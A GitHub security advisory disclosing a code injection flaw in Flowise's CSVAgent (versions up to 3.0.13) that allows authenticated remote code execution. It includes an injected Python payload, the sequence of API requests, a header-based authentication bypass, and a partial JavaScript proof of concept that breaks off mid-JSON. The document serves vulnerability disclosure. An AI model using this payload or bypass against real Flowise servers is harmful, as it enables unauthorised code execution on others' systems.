GitHub Security Advisory: GHSA-9wc7-mj3f-74xv
Package: flowise (NPM)
Severity: CRITICAL (CVSS 8.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 3.0.13
Patched in: 3.1.0

Summary: Flowise: Code Injection in CSVAgent leads to Authenticated RCE

Details:
### Summary
The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server.

### Details
The code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/[PII_REDACTED]0d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]).
`customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`.
An authenticated attacker can issue the following chain of requests:

1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response.
2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.
3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow.

Since `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/[PII_REDACTED]0d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren't set, it's sufficient to provide the `"x-request-from": "internal"` header to bypass authentication.

### PoC
Here's the PoC code:
```
const PORT = 3000;
const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;
const PREDICTION_URL = '/api/v1/prediction';
const CHATFLOWS_URL = '/api/v1/chatflows';

const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\"